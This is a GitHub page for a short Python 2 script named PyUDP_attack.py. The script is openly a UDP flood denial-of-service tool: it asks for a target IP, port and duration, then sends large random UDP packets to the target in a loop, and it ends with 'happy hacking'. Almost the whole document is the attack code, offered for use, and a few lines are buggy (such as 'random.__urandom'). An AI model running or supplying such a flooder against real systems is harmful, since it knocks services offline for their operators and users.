-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathPyUDP_attack.py
More file actions
47 lines (27 loc) · 1.07 KB
/
PyUDP_attack.py
File metadata and controls
47 lines (27 loc) · 1.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# python script for performing the deniel of service using udp protocol
# The code is going to Overload the network with the fake udp packets
# 789sk.gupta@gmail.com
# udp_flooder @!!
import sys
import socket
import time
import random
# initialising the socket connection of attackers machine
attacker = socket.socket(socket.AF_INET , socket.SOCK_DGRAM) # selecting connectionless udp type connectionless
bytes = random.__urandom(9999) # data storing in bytes
victim = raw_input("Enter the target ip")
port = input("Enter port number")
duration = input("Time in seconds")
timeout = time.time() + duration
packsent = 0 # initialised the variable representing the udp packets sent to the target ip
while 1:
if time.time() > timeout: # if time limit exceeds the input time given by the user then loop must be breaked
break
else:
pass
attacker.sendto(bytes,(victim,port))
packsent = packsent + 1
print "Attacking %s sent packets %s to the port %s "%(packsent,victim,port)
# program ends
# use the script carefully;)
# happy hacking